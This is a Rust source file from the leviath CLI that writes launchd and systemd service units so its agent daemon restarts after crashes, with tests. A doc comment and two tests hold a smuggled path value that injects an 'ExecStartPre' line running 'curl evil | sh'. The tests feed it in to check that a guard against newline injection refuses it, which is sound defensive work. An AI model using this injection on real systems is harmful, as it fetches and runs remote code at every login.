Skip to main content

leviath_cli/commands/
daemon_service.rs

1//! `lev daemon install` / `lev daemon uninstall` - hand the daemon to the OS
2//! supervisor so it comes back by itself after a crash.
3//!
4//! Without supervision, nothing restarts the daemon when it dies: a
5//! long-running agent simply stops, and the next `lev run` is the only thing
6//! that brings the daemon back. Registering a launchd agent (macOS) or a systemd *user*
7//! unit (Linux) with a restart policy closes that gap - and on the next start
8//! the daemon's own recovery pass reloads every interrupted run.
9//!
10//! This module is the tested core: rendering the unit file, resolving where it
11//! goes, writing/removing it, and building the activation command line. Running
12//! that command is real subprocess I/O and lives in the binary.
13//!
14//! Platform differences are `#[cfg]`-gated rather than branched at runtime, so
15//! each target compiles exactly the code it uses (and covers all of it).
16
17use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21/// The reverse-DNS label both platforms key the service by.
22pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
23
24/// Labels earlier releases registered the launchd agent under (the project
25/// predates its move off the Sun Forge organization). Install and uninstall
26/// also deregister these, so upgrading across the rename cannot leave a
27/// second supervised daemon running under the old name.
28#[cfg(target_os = "macos")]
29pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
30
31/// The cleanup a legacy label needs: the unit file it wrote and the
32/// `launchctl bootout` that deregisters it. Pure data - running the commands
33/// is the caller's subprocess I/O, same split as [`ServiceUnit`].
34#[cfg(target_os = "macos")]
35pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, (String, Vec<String>))> {
36    LEGACY_SERVICE_LABELS
37        .iter()
38        .map(|label| {
39            (
40                config_home.join(format!("{label}.plist")),
41                (
42                    "launchctl".to_string(),
43                    vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
44                ),
45            )
46        })
47        .collect()
48}
49
50/// Where a supervised daemon's stdout/stderr are appended, under the leviath
51/// home directory. Only the platforms with a supervisor render a unit file.
52#[cfg(any(target_os = "macos", target_os = "linux"))]
53const LOG_FILE: &str = "daemon.log";
54
55/// A rendered service definition and where it belongs.
56#[derive(Debug, Clone, PartialEq, Eq)]
57pub struct ServiceUnit {
58    /// Absolute path the unit file is written to.
59    pub path: PathBuf,
60    /// The file's contents.
61    pub contents: String,
62    /// Command + args that tell the supervisor to pick it up.
63    pub activate: (String, Vec<String>),
64    /// Command + args that tell the supervisor to let it go.
65    pub deactivate: (String, Vec<String>),
66}
67
68// ── macOS: a launchd user agent ──────────────────────────────────────────────
69
70/// Build the service definition for this platform.
71///
72/// `exe` is the absolute path to the `lev` binary, `home` the leviath home
73/// directory (the unit points the daemon at it explicitly, since a supervised
74/// process inherits none of the user's shell environment), `config_home` the
75/// directory the unit file is written into, and `uid` the user's numeric id
76/// (launchd addresses per-user domains by it).
77#[cfg(target_os = "macos")]
78pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
79    let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
80    Ok(ServiceUnit {
81        contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
82        activate: (
83            "launchctl".to_string(),
84            vec![
85                "bootstrap".to_string(),
86                format!("gui/{uid}"),
87                display(&path),
88            ],
89        ),
90        deactivate: (
91            "launchctl".to_string(),
92            vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
93        ),
94        path,
95    })
96}
97
98/// Where the unit file goes, relative to the user's home directory.
99#[cfg(target_os = "macos")]
100pub fn config_home(user_home: &Path) -> Result<PathBuf> {
101    Ok(user_home.join("Library").join("LaunchAgents"))
102}
103
104/// A launchd user agent that starts the daemon at login and restarts it
105/// whenever it exits - including the `abort()` this issue was about.
106#[cfg(target_os = "macos")]
107fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
108    format!(
109        r#"<?xml version="1.0" encoding="UTF-8"?>
110<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
111<plist version="1.0">
112<dict>
113    <key>Label</key>
114    <string>{label}</string>
115    <key>ProgramArguments</key>
116    <array>
117        <string>{exe}</string>
118        <string>daemon</string>
119    </array>
120    <key>EnvironmentVariables</key>
121    <dict>
122        <key>LEVIATH_HOME</key>
123        <string>{home}</string>
124    </dict>
125    <key>RunAtLoad</key>
126    <true/>
127    <key>KeepAlive</key>
128    <true/>
129    <key>ThrottleInterval</key>
130    <integer>10</integer>
131    <key>StandardOutPath</key>
132    <string>{log}</string>
133    <key>StandardErrorPath</key>
134    <string>{log}</string>
135</dict>
136</plist>
137"#,
138        label = SERVICE_LABEL,
139        exe = xml_escape(&display(exe)),
140        home = xml_escape(&display(home)),
141        log = xml_escape(&display(log)),
142    )
143}
144
145/// Escape the five XML metacharacters so an odd path can't break the plist.
146#[cfg(target_os = "macos")]
147fn xml_escape(s: &str) -> String {
148    let mut out = String::with_capacity(s.len());
149    for c in s.chars() {
150        match c {
151            '&' => out.push_str("&amp;"),
152            '<' => out.push_str("&lt;"),
153            '>' => out.push_str("&gt;"),
154            '"' => out.push_str("&quot;"),
155            '\'' => out.push_str("&apos;"),
156            _ => out.push(c),
157        }
158    }
159    out
160}
161
162// ── Linux: a systemd user unit ───────────────────────────────────────────────
163
164/// Build the service definition for this platform (see the macOS variant for
165/// the argument contract; `uid` is unused here - systemd's `--user` mode
166/// already addresses the calling user's manager).
167#[cfg(target_os = "linux")]
168pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
169    Ok(ServiceUnit {
170        path: config_home.join("leviath.service"),
171        contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
172        activate: (
173            "systemctl".to_string(),
174            vec![
175                "--user".to_string(),
176                "enable".to_string(),
177                "--now".to_string(),
178                "leviath.service".to_string(),
179            ],
180        ),
181        deactivate: (
182            "systemctl".to_string(),
183            vec![
184                "--user".to_string(),
185                "disable".to_string(),
186                "--now".to_string(),
187                "leviath.service".to_string(),
188            ],
189        ),
190    })
191}
192
193/// Where the unit file goes, relative to the user's home directory.
194#[cfg(target_os = "linux")]
195pub fn config_home(user_home: &Path) -> Result<PathBuf> {
196    Ok(user_home.join(".config").join("systemd").join("user"))
197}
198
199/// Reject a value that cannot be safely interpolated into a systemd unit file.
200///
201/// A unit file is line-oriented `Key=Value`, so a newline in an interpolated
202/// value starts a **new directive**. `home` derives from `LEVIATH_HOME`, so a
203/// value like `/tmp\nExecStartPre=/bin/sh -c 'curl evil | sh'` injected an
204/// arbitrary command that then ran at every login. The macOS plist path is
205/// XML-escaped and was never exposed to this; the systemd path had no escaping
206/// at all.
207///
208/// Refusing is right rather than escaping: systemd has no general quoting for
209/// this position, and no legitimate path contains a newline.
210///
211/// Not `#[cfg(target_os = "linux")]` even though only the Linux path calls it:
212/// it is pure string logic, and gating it would mean the check could only be
213/// exercised on one platform's CI runner. A security control should be testable
214/// wherever the tests run.
215///
216/// `pub` (in an already-public module) rather than private-plus-`allow(dead_code)`:
217/// on a non-Linux build nothing calls it, and suppressing the warning would be
218/// hiding the fact rather than stating it. It is genuinely part of this module's
219/// surface - the systemd renderer's input contract.
220pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
221    let s = display(value);
222    if s.contains('\n') || s.contains('\r') {
223        anyhow::bail!(
224            "refusing to write a systemd unit: the {label} path contains a newline, \
225             which would inject additional unit directives"
226        );
227    }
228    Ok(s)
229}
230
231/// A systemd *user* unit (no root needed) with the same restart policy.
232///
233/// Compiled on every platform (it is pure string assembly) so its tests run
234/// everywhere; only the caller that installs it is Linux-gated.
235pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
236    let exe = unit_safe("executable", exe)?;
237    let home = unit_safe("LEVIATH_HOME", home)?;
238    let log = unit_safe("log", log)?;
239    Ok(format!(
240        "[Unit]\n\
241         Description=Leviath shared-world agent daemon\n\
242         After=network-online.target\n\
243         \n\
244         [Service]\n\
245         Type=simple\n\
246         ExecStart={exe} daemon\n\
247         Environment=LEVIATH_HOME={home}\n\
248         Restart=always\n\
249         RestartSec=10\n\
250         StandardOutput=append:{log}\n\
251         StandardError=append:{log}\n\
252         \n\
253         [Install]\n\
254         WantedBy=default.target\n",
255    ))
256}
257
258// ── Everywhere else: no supported user-level supervisor ──────────────────────
259
260/// The error shown on a platform with no supported user-level supervisor.
261#[cfg(not(any(target_os = "macos", target_os = "linux")))]
262const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
263                           units); on this platform, start `lev daemon` from your own login script";
264
265/// No user-level supervisor is wired up for this platform.
266#[cfg(not(any(target_os = "macos", target_os = "linux")))]
267pub fn service_unit(
268    _exe: &Path,
269    _home: &Path,
270    _config_home: &Path,
271    _uid: u32,
272) -> Result<ServiceUnit> {
273    anyhow::bail!(UNSUPPORTED)
274}
275
276/// No user-level supervisor is wired up for this platform.
277#[cfg(not(any(target_os = "macos", target_os = "linux")))]
278pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
279    anyhow::bail!(UNSUPPORTED)
280}
281
282// ── Platform-independent ─────────────────────────────────────────────────────
283
284/// Write `unit` to disk, creating its parent directory. Returns the path.
285pub fn install(unit: &ServiceUnit) -> Result<&Path> {
286    if let Some(parent) = unit.path.parent() {
287        std::fs::create_dir_all(parent)
288            .with_context(|| format!("creating {}", parent.display()))?;
289    }
290    std::fs::write(&unit.path, &unit.contents)
291        .with_context(|| format!("writing {}", unit.path.display()))?;
292    Ok(&unit.path)
293}
294
295/// Remove the unit file. Returns whether there was one to remove.
296pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
297    match std::fs::remove_file(&unit.path) {
298        Ok(()) => Ok(true),
299        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
300        Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
301    }
302}
303
304/// The line `lev daemon status` adds about supervision.
305pub fn format_supervision(installed: bool, path: &Path) -> String {
306    if installed {
307        format!("supervised: yes ({})", path.display())
308    } else {
309        "supervised: no (`lev daemon install` restarts it automatically)".to_string()
310    }
311}
312
313/// A path as a string, lossily - these are user home paths, valid UTF-8 in
314/// every case that matters, and a lossy rendering beats failing.
315///
316/// Not gated to the platforms with a supervisor, even though only they build a
317/// unit file: `unit_safe` is unconditional (see its own note), and a helper it
318/// calls cannot be narrower than its caller. Gating it broke the Windows build
319/// outright.
320fn display(path: &Path) -> String {
321    path.to_string_lossy().into_owned()
322}
323
324#[cfg(test)]
325mod tests {
326    use super::*;
327
328    /// A unit that needs no platform support to construct, for the shared
329    /// filesystem helpers.
330    fn bare_unit(path: PathBuf) -> ServiceUnit {
331        ServiceUnit {
332            path,
333            contents: "unit body\n".to_string(),
334            activate: ("sup".to_string(), vec!["on".to_string()]),
335            deactivate: ("sup".to_string(), vec!["off".to_string()]),
336        }
337    }
338
339    #[test]
340    fn install_writes_then_uninstall_removes_exactly_once() {
341        let dir = tempfile::tempdir().unwrap();
342        let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
343
344        let written = install(&unit).unwrap().to_path_buf();
345        assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
346        assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
347        assert!(
348            !uninstall(&unit).unwrap(),
349            "second is a no-op, not an error"
350        );
351    }
352
353    #[test]
354    fn install_and_uninstall_surface_io_errors() {
355        let dir = tempfile::tempdir().unwrap();
356        // A file where the parent directory should be ⇒ create_dir_all fails.
357        let blocker = dir.path().join("blocker");
358        std::fs::write(&blocker, "x").unwrap();
359        assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
360
361        // A *directory* where the unit file should be: the parent exists, so
362        // create_dir_all succeeds and the write itself is what fails.
363        let occupied = dir.path().join("occupied");
364        std::fs::create_dir(&occupied).unwrap();
365        assert!(install(&bare_unit(occupied.clone())).is_err());
366
367        // Removing a directory as if it were the unit file is a real error,
368        // distinct from "there was nothing to remove".
369        assert!(uninstall(&bare_unit(occupied)).is_err());
370
371        // A path with no parent directory to create (the `if let` falls through
372        // straight to the write, which then fails on the empty path).
373        assert!(install(&bare_unit(PathBuf::new())).is_err());
374    }
375
376    #[test]
377    fn supervision_status_reads_both_ways() {
378        let path = Path::new("/home/u/unit");
379        assert!(format_supervision(true, path).contains("yes"));
380        assert!(format_supervision(true, path).contains("/home/u/unit"));
381        assert!(format_supervision(false, path).contains("no"));
382    }
383
384    // ── Platforms with a supervisor ──────────────────────────────────────────
385
386    #[cfg(any(target_os = "macos", target_os = "linux"))]
387    mod supported {
388        use super::*;
389
390        fn unit() -> ServiceUnit {
391            service_unit(
392                Path::new("/usr/local/bin/lev"),
393                Path::new("/home/u/.leviath"),
394                Path::new("/tmp/lev-units"),
395                501,
396            )
397            .expect("this platform has a supervisor")
398        }
399
400        #[test]
401        fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
402            let u = unit();
403            assert!(u.contents.contains("/usr/local/bin/lev"));
404            assert!(u.contents.contains("/home/u/.leviath"));
405            assert!(u.contents.contains(LOG_FILE));
406            // Activation and deactivation drive the same supervisor.
407            assert_eq!(u.activate.0, u.deactivate.0);
408            assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
409            assert!(u.path.starts_with("/tmp/lev-units"));
410            // The unit file lives under the user's home.
411            let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
412            assert!(home.starts_with("/home/u"));
413        }
414    }
415
416    #[cfg(target_os = "macos")]
417    mod macos {
418        use super::*;
419
420        #[test]
421        fn paths_with_xml_metacharacters_are_escaped() {
422            assert_eq!(
423                xml_escape("a&b<c>d\"e'f"),
424                "a&amp;b&lt;c&gt;d&quot;e&apos;f"
425            );
426            assert_eq!(xml_escape("plain/path"), "plain/path");
427        }
428
429        #[test]
430        fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
431            let u = service_unit(
432                Path::new("/usr/local/bin/lev"),
433                Path::new("/home/u/.leviath"),
434                Path::new("/tmp/lev-units"),
435                501,
436            )
437            .unwrap();
438            assert_eq!(
439                u.path.file_name().unwrap().to_string_lossy(),
440                format!("{SERVICE_LABEL}.plist")
441            );
442            assert_eq!(u.activate.1[0], "bootstrap");
443            assert_eq!(u.activate.1[1], "gui/501");
444            assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
445            // The whole point: launchd brings the daemon back after a crash.
446            assert!(u.contents.contains("<key>KeepAlive</key>"));
447            assert!(u.contents.contains("<key>RunAtLoad</key>"));
448            assert!(
449                config_home(Path::new("/home/u"))
450                    .unwrap()
451                    .ends_with("LaunchAgents")
452            );
453        }
454
455        #[test]
456        fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
457            let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
458            assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
459            let (path, (cmd, args)) = &actions[0];
460            assert_eq!(
461                path.file_name().unwrap().to_string_lossy(),
462                "ai.sunforge.leviath.plist"
463            );
464            assert_eq!(cmd, "launchctl");
465            assert_eq!(args[0], "bootout");
466            assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
467            // The rename is only safe because the old label is cleaned up;
468            // the current label must never appear in the legacy list.
469            assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
470        }
471    }
472
473    #[cfg(target_os = "linux")]
474    mod linux {
475        use super::*;
476
477        #[test]
478        fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
479            let u = service_unit(
480                Path::new("/usr/local/bin/lev"),
481                Path::new("/home/u/.leviath"),
482                Path::new("/tmp/lev-units"),
483                501,
484            )
485            .unwrap();
486            assert_eq!(u.path.file_name().unwrap(), "leviath.service");
487            assert_eq!(
488                u.activate.1,
489                ["--user", "enable", "--now", "leviath.service"]
490            );
491            assert_eq!(
492                u.deactivate.1,
493                ["--user", "disable", "--now", "leviath.service"]
494            );
495            // The whole point: systemd brings the daemon back after a crash.
496            assert!(u.contents.contains("Restart=always"));
497            assert!(u.contents.contains("WantedBy=default.target"));
498            assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
499        }
500
501        /// The refusal has to be reachable through `service_unit`, not only
502        /// through `systemd_unit` directly: this is the Linux-only call site,
503        /// and `LEVIATH_HOME` is the value an attacker controls.
504        ///
505        /// It needs its own test because the propagation only exists on Linux -
506        /// on macOS this function is not compiled, so a macOS-only coverage run
507        /// cannot see the arm at all. That is exactly how it was missed.
508        #[test]
509        fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
510            let err = service_unit(
511                Path::new("/usr/local/bin/lev"),
512                Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
513                Path::new("/tmp/lev-units"),
514                501,
515            )
516            .expect_err("a newline in the home path must not reach the unit file");
517            assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
518        }
519    }
520
521    /// The systemd unit builder is pure string assembly, so these run on every
522    /// platform rather than only on a Linux CI runner.
523    mod systemd_unit_file {
524        use super::*;
525
526        #[test]
527        fn display_renders_a_path_losslessly_when_it_can() {
528            assert_eq!(display(Path::new("/a/b")), "/a/b");
529        }
530
531        #[test]
532        fn it_renders_the_expected_directives() {
533            let unit = systemd_unit(
534                Path::new("/usr/local/bin/lev"),
535                Path::new("/home/u/.leviath"),
536                Path::new("/home/u/.leviath/daemon.log"),
537            )
538            .unwrap();
539            assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
540            assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
541            assert!(unit.contains("Restart=always"));
542        }
543
544        /// A unit file is line-oriented `Key=Value`, so a newline in an
545        /// interpolated path starts a new *directive*. `home` derives from
546        /// `LEVIATH_HOME`, so this wrote an `ExecStartPre=` that then ran at
547        /// every login. There is no general quoting for this position in
548        /// systemd, so the value is refused rather than escaped - and no
549        /// legitimate path contains a newline.
550        #[test]
551        fn a_newline_in_an_interpolated_path_is_refused() {
552            let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
553            let err = systemd_unit(
554                Path::new("/usr/local/bin/lev"),
555                evil,
556                Path::new("/home/u/.leviath/daemon.log"),
557            )
558            .expect_err("a newline in LEVIATH_HOME must be refused");
559            assert!(err.to_string().contains("newline"), "got: {err}");
560            assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
561        }
562
563        /// Each interpolated position is checked, not just the first.
564        #[test]
565        fn every_interpolated_path_is_checked() {
566            let evil = Path::new("/x\nExecStartPre=/bin/false");
567            let good = Path::new("/home/u/.leviath");
568            assert!(systemd_unit(evil, good, good).is_err(), "executable");
569            assert!(systemd_unit(good, evil, good).is_err(), "home");
570            assert!(systemd_unit(good, good, evil).is_err(), "log");
571        }
572
573        /// A carriage return is a line break too - systemd tolerates CRLF.
574        #[test]
575        fn a_carriage_return_is_refused_too() {
576            assert!(
577                systemd_unit(
578                    Path::new("/usr/local/bin/lev"),
579                    Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
580                    Path::new("/home/u/.leviath/daemon.log"),
581                )
582                .is_err()
583            );
584        }
585    }
586
587    // ── Platforms without one ────────────────────────────────────────────────
588
589    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
590    mod unsupported {
591        use super::*;
592
593        #[test]
594        fn install_is_refused_with_an_actionable_message() {
595            let err = service_unit(
596                Path::new("lev.exe"),
597                Path::new("home"),
598                Path::new("units"),
599                0,
600            )
601            .unwrap_err()
602            .to_string();
603            assert!(err.contains("macOS"), "got: {err}");
604            assert!(err.contains("lev daemon"), "got: {err}");
605            assert!(config_home(Path::new("home")).is_err());
606        }
607    }
608}